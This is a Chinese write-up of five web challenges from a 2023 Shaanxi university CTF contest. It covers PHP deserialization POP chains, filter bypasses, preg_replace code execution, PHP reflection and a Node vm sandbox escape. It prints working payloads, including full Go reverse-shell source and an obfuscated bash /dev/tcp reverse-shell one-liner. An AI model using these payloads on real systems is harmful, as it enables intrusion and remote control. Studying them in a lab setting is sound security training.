2023年第三届陕西省大学生网络安全技能大赛本科组web官方-writup

发布时间 2023-06-12 13:49:09作者: 晨风晓曦

题目列表:

image-20230609094714665

ezpop

题目描述

题目名称

ezpop

题目难度

题目分值

1000

考察知识点

一点前端小知识,构造POP链,fast destruct 和 Unicode

解题步骤

第一步

题目信息:

访问题目页面查看信息。

image-20230609094814541

第二步

解题过程:

  1. 访问题目发现要求 Click Me,但是点不动,尝试F12,右键和 Ctrl+U 发现均会关闭页面,我们在地址栏F12,成功唤醒devtools,鼠标定位到 p 标签发现 pointer-events: none; 属性禁止了点击,我们取消掉即可

image-20230609094838652

image-20230609094901389

  1. 然后点击Click Me跳转到源码页面
<?php
highlight_file(__FILE__);

class night
{
    public $night;

    public function __destruct(){
        echo $this->night . '哒咩哟';
    }
}

class day
{
    public $day;

    public function __toString(){
        echo $this->day->go();
    }

    public function __call($a, $b){
        echo $this->day->getFlag();
    }
}

class light
{
    public $light;

    public function __invoke(){
        echo $this->light->d();
    }
}

class dark
{
    public $dark;

    public function go(){
        ($this->dark)();
    }

    public function getFlag(){
        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0,1) == '/'){
        die('呆jio步');
    }
    $s = preg_replace('/\.\.*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}

$un = unserialize($_POST['‮⁦快给我传参⁩⁦pop']); //
throw new Exception('seino');

得到源码,复制下来的时候,发现传参点的参数名有点异常,在页面中发现是正常的

image-20230609094948373

但是复制到vscode中发现有unicode编码进行了变位,所以我们传递参数的时候需要在vscode中复制完整的参数名

image-20230612132033051

  1. 然后下面就是进行简单的pop链条构造

unserialize() 会去调用 night 类的 __destruct() 方法,由于方法中的 echo $this->night . '哒咩哟'; 把这个对象当成了字符串,所以调用了 day 类的 __toString() 方法,然后再调用 dark 类里的 go() 方法,然后在 go() 方法里把这个对象当成了方法使用,所以就去调用了 light 类的 __invoke 方法,又因为在 __invoke 方法里再次调用了一个不存在的 d() 方法,接着就会去调用 day 类里的 __call 方法,最后去调用 dark 类里的 getFlag() 方法。

然后我们发现最终 include() 的时候调用了一个过滤函数 hacked(),不允许 /,和 ../ 开头,我们一般知道 flag 的位置一般是 /flag ,我们尝试使用 %00 进行绕过过滤。

.%00%00./%00.%00%00./%00.%00%00./flag

最终代码如下,

<?php
class night
{
    public $night;
}

class day
{
    public $day;
}


class light
{
    public $light;
}


class dark
{
    public $dark;
}

$flag = new night();
$flag -> night = new day();
$flag -> night -> day = new dark();
$flag -> night -> day -> dark = new light();
$flag -> night -> day -> dark -> light = new day();
$flag -> night -> day -> dark -> light -> day = new dark();
$flag -> night -> day -> dark -> light -> day -> dark = '.%00%00./%00.%00%00./%00.%00%00./flag';

var_dump(urlencode(serialize($flag)));

传递后发现被 throw new Exception('seino'); 影响到了

image-20230609095105732

我们可以通过 fast destruct 提前触发魔术方法,从而绕过 throw 语句,注意我们传递 payload 的时候,需要将最后面的 } 删掉(即删掉最后一个%7D)

image-20230609095148678

test

题目描述

题目名称

test

题目难度

题目分值

1000

考察知识点

GO代码编写
反弹shell

解题步骤

第一步

题目信息:

访问题目页面查看信息

image-20230609095212483

第二步

解题过程:

1、页面源码发现profile路由信息

image-20230609095223797

  1. 访问地址

image-20230609095234055

  1. 修改url看到用户信息泄露,用户名为admin

image-20230609095304319

  1. MD5在线破解出结果如下

image-20230609095317768

  1. 登录admin账户,跳转到Adm1nUp104d路由,根据提示上传go文件程序会自动执行

image-20230609095329028

  1. 编写反弹shell的Go代码,文件命名为shell.go
package main
import (
 "io"
 "net"
 "io/ioutil"
 "log"
 "os/exec" 
)
 
var (
 cmd string
 line string
)
 
func main() {
 addr := "xxx.xxx.xxx.xxx:xxxx" //监听地址
 conn,err := net.Dial("tcp",addr)
 if err != nil {
 log.Fatal(err)
 }
 
 buf := make([]byte,10240)
 for {
 n,err := conn.Read(buf)
 if err != nil && err != io.EOF { 
 log.Fatal(err)
 }
 
 cmd_str := string(buf[:n])
 cmd := exec.Command("/bin/bash","-c",cmd_str)
 stdout, err := cmd.StdoutPipe()
 if err != nil {
 log.Fatal(err)
 }
 defer stdout.Close()
 if err := cmd.Start(); err != nil {
 log.Fatal(err)
 }
 opBytes, err := ioutil.ReadAll(stdout)
 if err != nil {
 log.Fatal(err)
 }
 conn.Write([]byte(opBytes))
 }
}
  1. 在页面HTML编辑标签

image-20230609095450441

  1. 写入文件上传的HTML代码
<form action="" enctype="multipart/form-data" method="post">
    <input type="file" name="file" id="">
    <input type="submit" value="submit">
</form>

image-20230609095535929

点击空白处代码生效,页面可以上传文件

image-20230609095547091

  1. 终端nc监听端口

image-20230609095558586

  1. 上传文件shell.go

image-20230609095611683

  1. 提交后读取flag

image-20230609095620384

ezrce

题目描述

题目名称

SSCTF2023/ezrce

题目难度

题目分值

100

考察知识点

代码审计
rce

解题步骤

第一步

题目信息:

访问题目页面查看信息。

image-20230609095757432

第二步

解题过程:

1、直接把两个提交submit按钮都按一遍即得源码:

image-20230609095840196

2、简单进行代码审计后可知我们POST传参的参数name和qaq会在源代码中的: 1 $name1=preg_replace('/hahaha/e',$qaq,$name); 处产生php的preg_replace函数在使用e修正符即/e模式下存在的代码执行漏洞, 会直接把我们 POST传参的qaq参数经过waf函数过滤后作为代码执行,只需要我们POST传参的name参数值 能被/hahaha/e正则匹配到,即POST传参的name值中必须含有hahaha。 payload:

name=hahaha1&qaq=show_source(session_id(session_start()));
Cookie PHPSESSID=waf.php

image-20230609095907182

3、没有过滤/,直接读flag。

name=hahaha1&qaq=show_source(session_id(session_start())); Cookie PHPSESSID=/flag

image-20230609095925952

Flag

flag{a2ea7bfd0a3baece721f37d76e585e04}

unserialize

题目描述

题目名称

unserialize

题目难度

★★★

题目分值

1000

考察知识点

robots协议
信息收集
unicode不可见字符
php反射

解题步骤

第一步

题目信息:

访问题目页面查看信息。

image-20230609103750992

第二步

解题过程:

1、robots.txt看到提示

image-20230609103802770

2、访问hint.php

image-20230609103823494

3、分析提示,可以使用getProperty,ReflectionObject,getFlag,getProperty,setAcessible,setValue这些函数,考虑使用PHP反射类。

分析题目,发现当类getFlag被创建的时候,在触发销毁函数的时候,经过if判断,判断成功可以执行命令,但是password和cmd是private私有变量,发现eval函数,传入参数a,a传递的php代码可以被执行,调用了waf函数进行检测也就是hint.php所说的能够调用的函数,将上面代码复制下来用vscode打开,可以通过反射修改private变量。

编写exp

PHP

$flag = new getFlag();
$reflectionObject = new ReflectionObject($flag);
$reflectionProperty = $reflectionObject->getProperty('password');
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($flag, "‮⁦  //how to change the private variables⁩⁦secret");
$reflectionProperty = $reflectionObject->getProperty('cmd');
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($flag, 'cat /f*');

4、将页面代码复制到编辑器发现不可见字符

image-20230609103902932

5、用GET方法传入a,得到flag

image-20230609103925115

Esc4pe_T0_Mong0

题目描述

题目名称

Esc4pe_T0_Mong0

题目难度

★★★★★

题目分值

1000

考察知识点

node代码审计
constructor沙箱逃逸
绕过waf
反弹shell
mongodb

解题步骤

第一步

题目信息:

访问题目看到如下页面,可以进行简单的计算等,是通过 GET 方式给 exec 路由传的 code 参数

image-20230609104021596

第二步

解题过程:

1、这里 Read Source Code 可以看到页面源码,进行了一系列的过滤 并且 限制了长度,最后利用 vm 的 runInNewContext 执行,我们利用 this.constructor.constructor 进行沙箱逃逸即可。不过这里的黑名单很严格,需要进一步的绕过

image-20230609104041595

2、这里过滤了 . ,我们可以利用 with 来进行绕过,后续的内容我们可以使用 fromCharCode 来绕过敏感字符,但是由于长度限制 在fromCharCode 内部还需要进一步进行定义变量来缩短长度,需要小于365个字符

with(String)with(f=fromCharCode,this)with(constructor)with(constructor(f(r=114,e=101,t=116,117,r,110,32,p=112,r,111,c=99,e,s=115,s))())with(mainModule)with(require(f(c,h=104,105,108,100,95,p,r,111,c,e,s,s)))exec(f(98,97,s,h,32,45,c,32,34,98,97,s,h,32,45,105,32,62,38,32,47,100,e,118,47,t,c,p,47,X,X,46,X,X,X,46,X,X,46,X,X,X,47,X,X,X,X,32,48,62,38,b,34))

注意 X,X,46,X,X,X,46,X,X,46,X,X,X,47,X,X,X,X 表示的是 IP/PORT XXX.XXX.XX.XXX/XXXX ,其中X应为ASCII码,如python中ord('.')的值为46

3、重新修改好IP和PORT,粘贴到输入框执行,反弹shell。在mongodb中找到flag

image-20230609104121616